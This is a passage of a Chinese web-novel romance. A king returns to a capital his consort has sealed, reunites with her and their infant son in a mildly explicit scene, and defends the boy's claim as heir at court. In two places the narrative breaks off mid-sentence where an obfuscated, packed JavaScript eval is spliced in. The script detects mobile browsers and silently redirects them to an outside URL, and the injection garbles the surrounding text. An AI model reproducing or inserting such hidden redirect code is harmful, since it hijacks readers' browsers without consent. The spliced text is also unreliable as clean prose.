江念离殿之前又同秋月嘱咐了几句,然后带着木雅等宫人乘辇出了王庭,阿史勒随行一同前往。 城头上,东境军同禁军来回巡视,听闻梁妃前来,更是打起十二分心神。 江念在宫人同护卫的环伺下上了城头,夜里城头上的风很大,火把被吹得呼呼作响,灯碗里的火却燃得很亮很稳。 不过这些火柱也只能照亮城下一片,照不到更远。 城下的小兵见城上出现一个绝美妇人,那美妇人的眼神很冷,一扫向他,他的舌头便打了结,不知要说什么,该说什么,既然嘴夯,索性勒转马头往黑夜奔去。 呼延吉坐在路边的一块石盘上,默着脸,也看不清神情,昆善不敢上前搅扰。 回途中君王扬言趁此时机一兴歼灭逆贼,结果到了才发现,这封城的“逆贼”竟是自家媳妇,也不知这会儿心里是个什么滋味。 若真是奸佞乱政倒还好办,大不了挥兵打入城中,偏偏这始作俑者是梁妃,打又打不得,堂堂君王打了胜仗班师还朝,最后只能憋坐在野地里。 正想着,小兵带信回了,一骨碌下马近前,跪地抱拳道:“大王,梁妃殿下去了城头……” 话未说完,呼延吉腾地站起,抢步上前牵过小兵手里的缰绳,翻身而上,扬鞭拍马奔往城门口。 昆善忙叫一彪人马紧随其后,护大王周全。 呼延吉纵马奔到城下,抬头往上看去,就见他心念之人正立于墙头,双目往下睨着他。 城头之上其他人见了,瞪大着眼,一脸不可置信,转而立马露出狂喜,他们有些人是见过君王的,城下马背上的人不是他们的大王却又是谁? 狂惊狂喜之下阿史勒就要吩咐人去开城门。 “不许开!” 一道娇喝之声止住他。 阿史勒转头去看,说话之人正是梁妃。 “这人不是大王,一个冒牌货而已,不许打开城门。”江念冷声道。 这话不止城头上的军卫听见了,城下的呼延吉也听到了…… 第226章 朔儿,你父王回了 呼延吉怔怔地望着城头上的江念,当着这许多人的面,他也说不出什么软话来,只是把她看着。 江念亦俯瞰着下面的人,只是眉眼冷凝,没有半点温情。 呼延吉收回目光,大喝一声:“速开城门,违抗者,斩!”说着,把手上缰绳挽得更紧,纵马向前。 城卫们听君王发话,哪还敢犹豫,就要前去打开城门。 不承想梁妃厉声叱道:“我看谁敢擅启城门?!” 一时间众人手足无措,不知如何是好,城墙上是梁妃,城墙下是君王,哪个都不是他们这些小卒子能得罪的,只好拿眼把禁军首领阿史勒看着。 阿史勒也急得满脸是汗,何曾碰到这样的事,他觉着自己像铁锅上的煎饼,这面烙完再烙另一面。 这会儿,他无比艳羡守在营帐中的达鲁,只需往前冲杀,不用面临这番进退维谷的境地。 阿史勒不着痕迹地往后退了一步,避开呼延吉的视线,手掩在衣袖下摆了摆。 众城卫兵见了,明白其意,这是不开城门了,既然他们的头儿不让开,那他们就不开,反正最后问罪,有他在上面顶着。 阿史勒这会儿秉着宁可得罪大王也不要得罪梁妃的想法,得罪了大王,梁妃还能替他求情,可若是得罪了梁妃,没人给他求情,等他二人重归于好,届时只需梁妃枕边风一吹,大王杀他眼睛都不带眨的。 王啊——你不能怪我,也是你太宠了的缘故,等这劫过了,还是想想怎么一振夫纲罢。 江念见呼延吉纵马向前,从身边的兵卫手里拿过一张弓,拈箭搭弓,“嗖”的一声,利箭飞射向下,直直扎入马蹄前。 “你再往前一步……试试看。” 一箭之下,马儿扬起前蹄人立而起,呼延吉勒绳控马,再次抬头,无言地看向城头上的江念,咬了咬牙,然后调转马头,拍马冲入黑夜里。 江念把弓箭往旁边一掷,在一众宫人的围护中下了城头,木雅扶其坐上车辇,然后对车夫吩咐道:“回王庭。” 马车启行,往王庭行去。 阿史勒这会儿也不敢离开,他肯定要在这里守一夜,好在没多久崔致远也来了,衣衫的系带还散着,想是听到了风声,这才忙忙赶来。 “大王呢?”崔致远双手撑在城墙之上,把身子往外探。 “走了。” “走了?走了是什么意思?” 阿史勒眼一溜,不怀好意地笑了笑:“大王没能叫开城门,然后就走了。” 崔致远闭了闭眼,扇了自己一巴掌,转头看向阿史勒:“我现在清醒了,你把刚才的话再说一遍。” 阿史勒把刚才的话再次道出:“大王没能叫开城门,就走了。” 崔致远吸了一口气,说道:“我回府上了,你就当没见过我,今夜我也没来过。” 阿史勒一把拉住,笑说道:“你来都来了,别想摘干净,再说了,咱们以后总归是一家人,你也摘不掉,是不是?” 崔致远扬手一甩,把阿史勒从头到脚上上下下打量,倒是没否认他刚才的那句话,而是说:“你到底怎么想的,啊?把大王拦在城门外,我撞破脑袋也想不明白,要不你跟我解说一下?” “不是我,是梁妃殿下不让大王进城。”阿史勒说道。 崔致远听说后,“哦”了一声,点头道:“那是不能让大王进城。” 然后两人立在墙头默然不语。 彼边…… 昆善见大王纵马回了,两眼睁瞪,嘴巴微张,这是……被打回来了? 呼延吉翻身下马,马绳甩给小兵,重新坐回石盘上,两腿微张,两条胳膊搭在膝上,双手交合在一处。 “昆将军,你来说说,该当如何?” “啊?”昆善张了张嘴,又拿手去挠脸,打仗他在行,这事……他也不通窍啊! 正想着,黑夜里响起“得得”马蹄声,巡守的兵卫们立刻张护在前。 呼延吉看向声源处,不一会儿,篝火散出的光晕照亮来人,一群骑兵。 为首之人滚鞍下马,几步上前,跪拜在呼延吉身前:“不知君王归来,微臣接驾来迟,罪该万死。” “达鲁将军起身。”呼延吉说道。 达鲁起身,跟着屈腿席地而坐:“臣一直领兵于城外旷野驻守,听到信报这才得知情况。” 呼延吉想他本该在夷越东境驻守,如今却调派来了京都,便问其缘故。 达鲁便把京都发生的事情,一五一十地备述出来。 从梁妃殿下去信与他开始,然后到了京都,朵家如何聚兵谋逆,把持王庭,高家又如何拿一个冠上呼延氏的油头无赖大做文章,最后甚至将人领进祥云殿大放厥词,污言秽语逼迫梁妃一事,统统道出。 而梁妃又是如何把这些人一个个解决掉,最后又因为朝上大臣反对立小王子为储君,高家家主被押于牢狱,不得不封城,乃至眼下京都的情状全都细细讲出。 呼延吉听罢,半晌没说话,可昆善和达鲁却知道大王这会儿心情非常不好,叫谁听了都会不好受。 自己在战场上为家国拼命厮杀,自己的妻儿却被人如此羞辱对待,若她手里无兵,心不够狠,会落得怎么样一个结局。 要么她同孩子选择隐姓埋名,而他辛辛苦苦打拼的基业,尽落他人之手,要么回于王庭,为了孩子,于他人身下受辱。 呼延吉不敢再想,然后抬眼看向达鲁,拍了拍他的肩:“好,做得好。” 昆善唯有嗟叹,这些人敢这样轻辱梁妃母子,无非就是以为大王身殒,无人给他孤儿寡母撑腰。 等君王回城后,这些人只怕一个也逃不了,到那个时候,死对他们来说都算是解脱和恩赐。 “达鲁将军,不瞒你说,只是我等如今入不了城,你看这事……”昆善说道。 达鲁想了想,说道:“不如臣带兵把城门破了,大王便可入城,若是梁妃问罪,由臣一人担着。” 昆善听说后,暗暗点了点头,其实他也是这个意思,总不能叫大王真在野地里呆坐一夜,但他们这支兵马又不能破城,否则让大王和王妃更生嫌隙,加剧矛盾。 但由达鲁出兵破城便可轻化这些问题。 然而却听大王说道:“不可,一来破城引得城中百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15711754|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姓恐慌,二来我若破城,置她于何地。” 一时间再度陷入僵滞。 呼延吉垂眼沉吟片刻,说道:“昆将军。” “臣在。” “你带兵在城外守望,达鲁随我前去城门。” “是。”达鲁同昆善齐声应下。 崔致远同阿史勒正探脖眺望,先是听见马蹄声,再就看见大王同达鲁两人纵马到了城门下。 崔致远擦了擦眼,朝着城下的呼延吉抱拳行礼:“大王,臣总算盼到你了,微臣就知道大王神勇无双,绝不会丧命于区区山道,我王自有老天庇护,可享千秋万岁之年。” 阿史勒恨不得拍掌叫好,就这嘴皮子,活该是大王的近臣。 “崔大人,你快开城门,叫我同大王入城。”达鲁朝上叫喊。 崔致远摆了摆手,朝下喊道:“梁妃殿下有令,不叫开城门,我也无法呀!” 达鲁偷觑了一眼身侧的君王。 呼延吉抬手向下招了招,崔致远面色一白,难道大王叫我跳下去? 正想着,就听呼延吉说道:“放条索子下来。” 崔致远反应过来,欣喜道:“是了,梁妃殿下只说不让开城门,可没说不让放绳索。” 于是众人呼啦啦忙颠颠去找绳索,找到后,将一端套在城头的石柱上,用力抛下。 呼延吉牵过绳索,拽了拽,连云梯也不用,就这么拉住索子,双腿蓄力一蹬,如同鹞鹰掠壁,攀上墙面,大幅度的摆动中沿着高耸的墙面攀爬向上,动作矫健迅捷,不过几息的工夫,在人们惊诧的目光中,转瞬落到了墙头。 接着,达鲁也牵住索子,跟着上了城墙。 众人俱伏地叩拜:“恭迎大王还朝。” 呼延吉摆了摆手:“都起身。”并不多言,叮嘱了阿史勒和达鲁几句,让崔致远随在身侧,备上马车往王庭行去。 一路上呼延吉又让崔致远把京都上上下下的近况细说一遍。 崔致远口才好,说得更细更多,于是呼延吉把江念回城后所发生的事情了解的清清楚楚。 车马遽然停下,原是到了王庭前,崔致远掀开车帘,王庭亲卫提着灯,向里一照,震在当场说不出话来,一排亲卫跪迎不迭。 车马径直入了王庭,走上甬道,一路畅通直入内廷。 …… 江念回了西殿,秋月为她宽衣,换了一身细软的荷色长衫,又往她脸上望了望,心道,怎么出去一趟回来有些不一样了,至于哪里不一样,一时又说不出来。 “朔儿有没有醒来?”江念问道。 “醒来了一会儿,见不着你,哭了一阵,婢子抱了半晌才不哭了,又叫乳母哺喂,终是睡着了。” 江念“嗯”了一声:“你去歇息罢。” 秋月应下,退到隔间内。 江念走到矮几边,提起茶壶,给自己倒了一杯茶,端起,然而那手却在轻轻颤抖,将杯中的残茶饮尽,这才行到榻边,踢鞋上榻,依到孩子的身侧躺下,似是觉察到熟悉的气息,小儿往江念怀里挤了挤。 江念将孩子环在怀里,轻轻抚拍,温声道:“朔儿,你父王回了……” 第227章 阿姐,我回来了 呼延吉进入西殿,木雅已带人在西殿的殿院前迎候。 呼延吉快步进到殿内,穿过露台,走到寝屋前却突然顿下脚步,明知她和孩子就在门后的屋里,这会儿却生出怯意,心里无端紧张起来。 终于,他将掌覆在门扇上轻轻一推,门开了,入眼是昏柔柔的灯火,鼻息下是熟悉的舒香。 厚软的毡毯,嵌有小炉的矮几,垂地的轻纱幔,如花枝一般的烛火台…… 目光穿过微光下的屋室,里间的床榻纱幔半掩,隐隐可见一个侧倚的倩影,面朝里,背朝外。 因为这一动静,引得屋室内的秋月和乳母披衣起身。 秋月见了呼延吉,怔愣了好一会儿,好在她是个伶俐之人,朝呼延吉行过礼,然后同乳母出了寝屋。 呼延吉放轻手脚,一步一步行至榻边,撩开床纱,一腿屈于榻沿,缓缓俯下身,侧身于她的身后,臂膀环上她的腰腹,往怀里揽了揽。 “我回来了……” 江念背着身,然而那张脸上早已泪流满面,湿凉一片。 她再也忍不住,转身伏到他的怀里,握着手往他身上打去,打了两下,呼延吉擒住她的腕子,轻声道:“我穿着甲衣呢,手不痛?” 江念挣出手腕,继续往他身上打去,呼延吉再次抓住她的手,叹息道:“那等我把甲衣卸了,你再打。” 说着就要起身,却**念一把拉住,瓮声道:“别走,不打了。” 呼延吉便不动了,突然听见一声绵软的哼哼,这才看向床榻里的小儿。 江念听见孩儿的动静,忙退出他的怀,转身把孩子轻轻地抚拍。 呼延吉眼睛就跟定住了似的,一转不转地看着那小儿,从江念的身后凑上前,问道:“这是我们的孩子么?怎么这样小一只?” 江念嗔了他一眼:“你说呢?” 呼延吉将下巴搁在她的肩窝处,伸出手学着她的动作,在小儿的身上轻轻抚拍,谁知还没拍两下,孩子哼叽的声音越来越大,眼皮颤动,似有醒来的迹象。 呼延吉以为拍得不够,又连着拍了两下,这下好了,孩子彻底醒了过来。 孩子一醒,感受到陌生的气息,侧过头,见着床榻上多了一个人,不知是不是呼延吉身上的煞气太重,惊得孩子一抽搐,两条胳膊朝空中一伸,“哇——”的一声哭了出来。 江念赶紧把孩子抱在怀里,起身下榻,嘴里“哦哦”的轻声哄着。 呼延吉手足无措地立在那里,想要上前,又怕吓到孩子,不上前罢,他又焦灼不已。 “你这甲衣上血气重。”江念说道。 呼延吉连连称是,忙往寝屋外走去,刚走到门前又折过身,几步迈到江念面前,在她没有防备时,捧着她的脸狠狠亲了一下,然后赶紧出了殿门,去了沐室。 江念嘴角噙笑,又把脸板正,心道,一会儿等他回来,她得好好审审他,不能轻饶了,那段时间她都不知自己是怎么活过来的。 她一面抚拍着怀里的孩子,一面愉心地想着。 殿宇阔大,只有她哄孩子的声音,还有昏浅浅的烛火,兀地惶惑起来,转头顾盼四周,眼中闪过慌乱,面色变得难看,有一瞬间的不真实和眩晕。 心跳越来越快,于是抱着孩子出了寝殿,正巧碰上从沐室出来的呼延吉。 “怎么了?”呼延吉见她面色不对,关心道。 江念看着眼前人,在他面上望了好一会儿,伸出一只手,指尖小心翼翼地在他脸上碰了碰,是温的,带着湿润的水汽,不是在做梦罢。 “吉儿,你这次是真的回了?” 呼延吉瞬间明白她眼中的惊惶和不安,牵起她的手,紧紧握着:“阿姐,我回来了,一会儿我还有好多话同你说,你想不想听?” 江念点了点头。 呼延吉将目光落到孩子身上,往她怀里凑看。 “这小子哭声怪大,长得也壮胖,叫我抱一抱。” “你把胳膊像我这样端起来。”江念说道。 呼延吉照她的样子端起胳膊,江念便把怀里的孩子往他怀里送去。 小肉团子一入到怀里,呼延吉大气不敢出,天底下怎么会有这样软软的身体,生怕稍一使力就把他弄伤。 “他的头发是褐金色,同我的一样。”呼延吉欣喜道。 “是,朔儿的眼睛同大王也像,琥珀色的眼珠子,好看得紧。”江念低着颈儿,看向孩子。 呼延吉喃喃念道:“朔儿?孩子的名字么?” “是呢,这不是你给他起的名吗?”江念说道。 正在这时,孩子又有将醒的迹象,呼延吉浑身一紧,江念忙在旁边轻轻哄了两声,小儿许是感受到熟悉的气息,又慢慢安稳地睡了过去。 “抱到屋里去罢,放床上叫他好睡。”江念说道。 呼延吉的一颗心被妻儿填得满满当当,她的话就是佛语纶音,他应都应不迭,当下抱着孩子小心地往殿内走去,待抱着稳当一些,又抽出一只手牵起身侧的妻子。 行至榻边,江念从他怀里接过孩子,轻轻地放到床上,让他侧身安睡,自己也跟着躺到榻里侧,呼延吉则睡在最外侧,两人就这么把孩子围在中间。 “你刚才说我给孩子起的名儿?”呼延吉轻声问道。 江念便把自己做的那个梦境道了出来,呼延朔是他在梦里给孩子起的名字。 呼延吉越听越心惊,便说自己也做了同样的梦,梦里她双手掘土,手指头都掘烂了,然后还骂他,最后问他给孩子起什么名字。 “呼延拓?”江念疑惑道,“你原本给孩子起的名字是呼延拓?” 呼延吉点了点头:“是,寓意开疆拓土。” “那可如何是好,我叫朔儿都叫顺口了,太后她老人家也叫顺口了……”说到这里,江念又问,“太后那里还不知道你回,你现在要去一趟祥云殿么?” “太晚了,扰得她不好休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15711755|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息,明日再去。”呼延吉低头看了一眼圈围中的孩子,说道,“朔字也好,就叫呼延朔,如朔日之新,如朔风之劲,如北斗之尊。” 说来也奇,二人这么低声说着话,孩子在中间却睡得安稳无比,没再惊醒过。 呼延吉问了许多关于江念怀孕之时的事。 “我答应过你,要在你生产前回来,终是食言了。” 江念伸出手,在他眉间摁了摁,想把他的眉心抚平:“怎么会传出身殒的消息?” 呼延吉握住她的手,将手滑入她宽大的袖口,轻轻抚上女人滑腻的小臂。 “当时只能出此下策。” 他把朝廷同李恒联手攻入宣州的事讲了。 江念默了半晌,江轲投了李恒,这次好在呼延吉无事,若他真有个三长两短,她不知道自己是否愿再见这个阿弟,可能一辈子也不会原谅他。 同样的,她也十分担心江轲出事,不想他二人互为仇敌。 她深知战场之上,战况瞬息万变,稍有不慎局势就会逆转,呼延吉那会儿一心扑在战事上,无暇他顾。 “那你好歹给我去一封信,叫我知晓,我也不必做到这一步。”江念说道。 “去信了的,只是信使送去时,荣水湾那边的宅子已经空了,因我叮嘱过,不叫他去京都,所以信使只能带着书信折回。” 江念点了点头,从梁西到京都,**之遥,传送书信已是不易,中间一来一去,有太多不可预测。 呼延吉慢慢地欠起身,眼神变得认真,看着她,一手钳住她小巧的下颌,挨近身,在她唇上碰了碰,再退出一点距离,这似有如无的距离被一呼一吸胶着。 江念背过身,探出一只手在枕下摩挲,那封写给他的信,她一直放在枕下,不时拿出来读看,想象着他看到这封信时的模样。 “这是写给我的?” “嗯,你打开看看。” 呼延吉把信抽出,再展开,将信中的内容认认真真地看过。 “原是寄给你的,结果信使带回你不在人世的消息。”江念说着。 呼延吉听她说得淡然,却知那个时候她必是历经了生命不能承受之重。 “夫君……”江念轻声唤出。 呼延吉浑身一震,两眼微红地看向她。 江念从床上半撑起身,一手抚上他的脸,说道:“夫君,你亲一亲我。” 呼延吉哽了哽喉“嗯”了一声,挨近她,又怕把中间的孩子挤到,吻得很小心。 男人的唇瓣温凉,先在她的鼻尖蹭了蹭,然后落在她的嘴角,他连呼出的气息都显得很轻、很慢,她在他这里,永远是不可随意对待的紧要。 江念微微启唇,不愿闭上眼,哪怕他近到她只能看见一个模糊的面影,她也不愿闭上眼。 呼延吉感到面上微凉,这才察觉她哭了,于是将她的泪珠噙在嘴里,苦涩在舌尖缓缓润开。 “不哭……我真的回来了……” 第228章 叫一声夫君 这一夜,两人私语到好晚,说着远别千里的细碎日常。 哪怕是好小的一件事,一个愿说,另一个也认真倾听。 有关孩子储位的纷争,江念没提朝臣的态度以及民间传言,他既然回来,这些就不用她再操心,终于可以安下心神歇一歇了。 他会料理好一切,他是一面挡在她身前的盾牌,替她遮挡下四面八方的伤害。 终于,寝殿内安静下来,只有夜风吹动火烛的点点晃荡。 不知几更天时,江念再次醒来,床帐内光线幽淡,她看向面前的男子,许是星夜赶路的原因,睡得很熟,江念再低下头,看向怀里的孩子,同样的,睡得很香。 于是慢慢合上眼,再次睡去。 次日,天微亮,江念在灵灵的笑声中醒来,有多长时间她没睡得这样深沉,迷蒙中还有些未清醒的睡气,接着脸上感到酥麻,视线逐渐明晰,原是呼延吉拿羽扇搔弄她的脸。 江念笑着挥开:“你醒了就不让我再睡会儿?” “不是我不叫你睡,是朔儿不叫你睡,你看他。”呼延吉说道。 江念看向身前的孩子,一张乐呵呵的笑脸,两眼晶亮,正在交替地蹬着肉乎乎的小腿。 呼延吉衣带缓散,干脆坐起身,把孩子抱在怀里逗弄,这一下,小儿咯咯的笑声更大了。 江念侧着身,一手支着头,笑看着这一幕,又拿脚碰了碰呼延吉的腿:“可否劳驾大王倒杯茶水与妾身吃?” 呼延吉一手抓住她的小腿肚,屈起,在她腿肚上捏了捏,然后转头对怀里的孩子说道:“朔儿,你看你娘,忒懒了,口口声声叫我大王,却叫我倒茶她吃,咱们不理她,叫她自己起身。” 说罢,扯了一件薄衾包住孩子,趿鞋下地,也不更衣,就这么缓着衣带,散着发,出了寝屋。 江念眨了眨眼,她这是失宠了么?然后滚到他的榻位上又眯眼睡了一会儿。 半梦半醒间,身侧床榻轻陷,唇上一点点的湿凉,于是抬起惺忪的睡眼,就见呼延吉拿着一个杯,用香匙蘸取茶水点她的唇。 “不是口渴么,还不起来?” 江念欠起身,就着他的手抿了几口,然后再躺下:“孩子呢?” “乳母抱走了。” 呼延吉放下手里的盏,侧躺到她的身边,以手撑下颌,高出她半个身,两眼往下睃着。 “你昨夜叫我什么?”呼延吉问道。 江念脸稍稍一红,佯装道:“不记得了。” 呼延吉勾上她本就松散的系带,轻轻一拉,那领口软软地散开,露出一大片雪白的香脯,小衣边缘之上是丰软的隆起。 “好像比从前大了些。”呼延吉直勾勾地盯着。 江念把衣襟一掩,薄面透粉,有些难为情,自打生了孩子以后,她这身子不比从前,小腹不如从前平坦,腰肢也圆了,年岁上本就比他大些,再一生子,更觉羞惭。 其实江念担忧过甚,如今的她自是不能同青春女子比纤细,却也有着独有的丰韵,那一身润泽的肌骨,还有初为人母后的温柔可亲,哪一样不能牵动呼延吉? 他心里有她,她怎么样他都觉着好。 呼延吉见她面上绽露羞情,眼神有些回避,遂俯到她的上方,江念下意识地抵上他的前胸,望着他。 “阿姐,我夜夜都在想你,你可知?”呼延吉俯身到她的耳边,呼出痒梭梭的私语,“梦里有过一次,却在关键时候醒了……” 江念双颊飞红,他的气息发烫,烫得她两眼晕醉,当察觉到他的手落到她的腰际时,忙将他的手按住。 “肚腹有肉了……” 呼延吉拨开她的手,说道:“有肉好,我更喜欢。” 江念斜睨着他:“当真?” 呼延吉无奈地笑了笑,身体往后低下,掀开她小衣的衣摆,露出那片不再平坦的小腹,然后低下头,温柔地吻了上去,一下又一下,像是鱼儿唼喋着水面。 江念眼角微湿,伸手揪住他松阔的衣领,将他带到她的上方,然后一双莹酥的臂膀环上他的颈,在他身下渐渐舒展。 久别重逢,风月情浓更甚从前。 迎凑间,她感觉到他比之前更有耐心,也更温柔,她也比从前更加柔软地包容着他。 “阿姐……”呼延吉在最后压着声儿,望着她的眼睛,说道,“我想再听一听。” 江念额上沁着细汗,乌云散乱,口舌微喘,他将她抱起一点,她便依在他的耳边,轻声唤道:“夫君……” 呼延吉就等她这一声儿。 雨散云收,他将她拢在怀里:“我们要一直在一起,下辈子也要一起,还有下下辈子。” 江念噗嗤笑出声:“那你可得努力,若你下辈子是个贩夫走卒,我是不愿的,就算没喝那孟婆汤,也绝不认你。” 呼延吉“嗯”了一声。 江念抬起头,往后退了退,看向他的脸:“我说我不认你,你就这么同意了?” “你跟着我一个草鞋布衣吃苦,我也不忍,当然要同意。” 江念听后,心里有些发堵,虽说那话是她说的,可他的回答让她有些不对味,接着就听到男人胸腔发出闷闷的低笑。 “等我揭竿而起,有权有势后你再来找我,如何?” 江念这才嗔笑起来:“谁要找你这山野莽夫,只怕你有了权势,我再找来,你叫人把我往外赶哩。” 呼延吉想了想,一本正经说道:“倒也有可能。” 江念气得拿拳头打他,呼延吉由她顽闹,笑闹过后,说道:“我得起身了,你再睡会儿,孩子有乳母照看,别太累着自己。” 江念“唔”着应下了。 宫婢们依次序进入,她看着她们为他穿戴,一转不转地看着,舍不得移眼。 呼延吉先去了祥云殿,金掌事往里通报时,高太后还有些反应不过来,直到见着人,就跟天上掉下来的一样。 母子二人相见,自有许多话说。 待呼延吉别去后,高太后这才背过身拿帕子拭眼角的泪星。 朝堂之上,众臣肃穆侍立,各自揣了一肚子的话,无非就是关于太后主张立小王子为储君一事,他们仍觉得不妥,打算誓死捍卫自以为是的忠诚。 此时早已过了朝会时辰,却一直等不到圣太后临朝,不免相互间窃声议论。 “是不是太后贵体染恙?” “那也难免,太后年岁渐高, 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就见崔致远的面貌同前些时大不一样,神采焕然,心里突然窜出一个念头,又怕错想了,忙往阿史勒身侧凑了凑:“你同崔大人昨夜去了城头?” 阿史勒点头,拿眼斜睨他,一脸得意。 罗疏试问道:“难道说……” 阿史勒笑而不语。 “你好啊,这样难得的表现机会,怎的不叫上我。”罗疏质问道。 阿史勒心道,昨夜他还跟滚油锅一样,一不小心两边不讨好,又怕得罪君王,又怕得罪梁妃,好在有惊无险地度过。 周围朝臣们的议论之声还在继续。 “若太后真倒下了,如之奈何?”其中一人问道。 又一人道:“难道我夷越王权真要传于一个血统不纯的婴孩儿?” “听说先前的那位呼延旁支被梁妃斩杀了。” “我就说过,这梁人不怀好意,想要坏我夷越之根本,当真是歹毒……” 正说着,大宫监唱喝道:“君王临朝,肃静——” 只这一声“君王临朝”,众官已是僵如木雕不能动了。 只见一人,一身圆领朝袍,彩珠琳琅从肩头斜挂于胸,腰系宝带,脚踏玄色镶金边,流云暗纹翘头长靴,行动间,琅佩“叮咚”撞响。 那“叮叮咚咚”的声音很轻,却重重地砸在众人的心上。 众臣不敢抬头,只敢拿眼尽可能的觑看,这英挺的身形不会错,正是君王呼延吉。 只见他从大殿的御道走过,不同于从前的阔步云飞,而是慢慢地行过,好似在打量着他们所有人,眼力太重,即使不去同他对视,也压得人喘息不过来。 终于,等人走了过去,众人这才偷偷拿袖拭了拭额汗。 “跪——” 听闻朝袍窸窣,靴履飒踏,众朝臣撩衣齐齐跪下。 “叩——” 众臣趋拜顿首。 直到大宫监传唱“起身”,众人才齐齐起身。 朝会开始,如往常一样,先禀奏议事,朝臣们将自己部司的况务一一汇报,只是此时的众人不像前些时那样张着胆,这会儿一个个都把胆气缩下,再缩下…… 第229章 大王强词夺理 大殿之上,朝臣们将况务汇报后,就是静默至极,左右两人之间恨不能听到彼此滚动喉咙的声音。 出列之前,各自把欲说的言词在脑中精修添减,他们万没料到一夜之间,这宝座之上的人变成了这位,疏懒的言行不得不急忙调整,信报不是说大王身殒了么?那这是什么? 转瞬之间,一个个心念百转千回,难道信报是假,故意报知死讯?为的是趁此时机试探忠奸?众人越想越是心惊,不禁开始审视这些时日的言行。 终于,上首有了动静:“本王听闻众位大人似是对小王子为储一事有异议,可有此事?” 这要是圣太后临朝,一个个忙不迭地往外跳,口若悬河地搬出礼法纲纪那套,这会儿却无一人敢言。 “无妨,众位心里怎么想的,只管道出。”呼延吉说道。 下首仍是安静一片。 “所以就是无人反对了?”呼延吉威坐上首,沉声道,“本王再问众卿,小王子封为储君可有异议?” 众人心里忐忑,大王这话音到底是让他们同意呢还是反对呢? 正在此时,一个声音响起:“臣,反对立小王子为储君。” 众人抬眼看去,说话之人正是右大臣兀良哈,整个朝堂之上,除了大王,就属他的官阶最高。 呼延吉看了他一眼,并未显出怒容,抬手道:“右大臣直言说来。” 兀良哈并无私心,他反对小王子为储并非牵扯个人私怨,只因这位王子身上流有梁人血脉,他的立场不可能改变,哪怕君王要砍他的脑袋,他也是这么说。 当然,对于前段时间,高家借用他反对的势头寻一痞赖妄图掌权,他也很气愤。 哪怕那人有呼延氏之血,他也绝不会拥立不堪之人为王,相反,他还很支持梁妃斩杀此人。 “臣斗胆进言,小王子算不上真正的夷越人,不论他将来如何英勇出色,他身上始终流有梁人的血,这点没法改变。”兀良哈继续道,“臣知大王疼惜小王子,哪怕赐他一品王的称号皆可,却不能立为储君。” 按夷越的典章制度,这些本不该是问题,只要是大妃之子默认为下一任储君,若大妃有多位子息,那么便以长子为尊,只不过需等到王子成年后,才举行册立仪式,君王授册印。 然而,现在的问题是梁妃并非大妃,而大王眼下又只此一子,再加上之前君王身殒的消息传出,这才将王储的争议提上台面。 呼延吉点了点头,一条胳膊搁在椅扶上,身姿微斜:“众位大人呢?也是这么想的?还有无同右大臣一样看法的?” 群臣见兀良哈出列谏言,也纷纷出列直抒己见,言来言去,同兀良哈说得差不多,症结就在小王子身上的梁人血脉,算不上真正的夷越人。 待到这些人言毕,先前支持小王子为储君的朝臣们本想出列,却见崔致远、阿史家还有罗家无动静,便按捺下,只是默默立着。 呼延吉静了一会儿,缓缓开口道:“众位大人的意思本王听明白了,众位大人说得还是太婉转了,本王把各位刚才的话转译得再直白一点。”呼延吉停顿片刻,接下来说道,“你们的意思是,小王子是梁人,并非夷越人,可是这个意思?” 几名大臣忙向上躬身道:“非是如此啊,微臣们不是这个意思,小王子怎会是梁人。” 其他朝臣纷纷附和,就是再借几个胆子,他们也不敢说小王子是梁人,他们只是说小王子身上流有一半梁人血脉。 呼延吉继而又道:“既然不是梁人,那我儿就是夷越人。” “这……” 众臣暗道,大王这不是强词夺理么。 兀良哈正待再次上前,却被呼延吉止住:“右大臣的意思本王已知晓,既然众位刚才说了那么些话,可否叫本王也说一说?” 一语毕,众臣列进班位,恭整肃立,静闻君王之言。 “如今梁西宣州十三城已为我夷越之境,那么本王想问问众位大人,宣州十三城还有定州、邕南七镇,以及已划入我夷越的梁境之地,住在这里的人是梁人还是我夷越子民?” 众臣不能言。 “若各位大人认为这些地界上的子民仍为梁人,那我军将士拼死扩展疆土又是为何?岂不更叫梁人笑话?合着打下来的土地结果还是他梁人的。” 呼延吉从王位上站起,继续道:“我夷越疆土倍拓,会统管整片梁境,届时再无梁人、夷越人之分,皆为我国子民。” 此语一出,朝堂之上开始纷议,再无梁人、夷越人之分?王的意思是……他要攻下梁国全境?! 他们从不敢想,大梁作为上国,而夷越作为属国年年朝贡,后来夷越在两代君王的勤政下,才有了同他们一较高下的底气,近些年更有碾压的势头。 可纵使如此,他们也不敢往吞并大梁全境的方向去想,眼下却被君王直剌剌地道出来,如何不叫他们振奋。 呼延吉看向下首的兀良哈:“右大臣难道不想我夷越一统四海?” 兀良哈躬身道:“有大王如此英主,我夷越定能扫平六合,国朝定鼎。” 呼延吉满意地点了点头:“众卿再想,一统梁境后,梁国子民一时间没有归属,起了异心想要**如之奈何?虽说可以靠**,却始终是个隐患,如同暗疮,不知什么时候就发作,本王以为,收拢的不仅仅是疆土,更需笼络人心。” 朝臣们听罢,纷纷点头称是。 “而我儿既是夷越人也是梁人,他坐在这个位置,梁人不仅不会悲愤,反而会生出依傍和倚仗之心,届时小王子既是夷越子民的王,也是梁人的王,试问还有谁比他更有资格?” 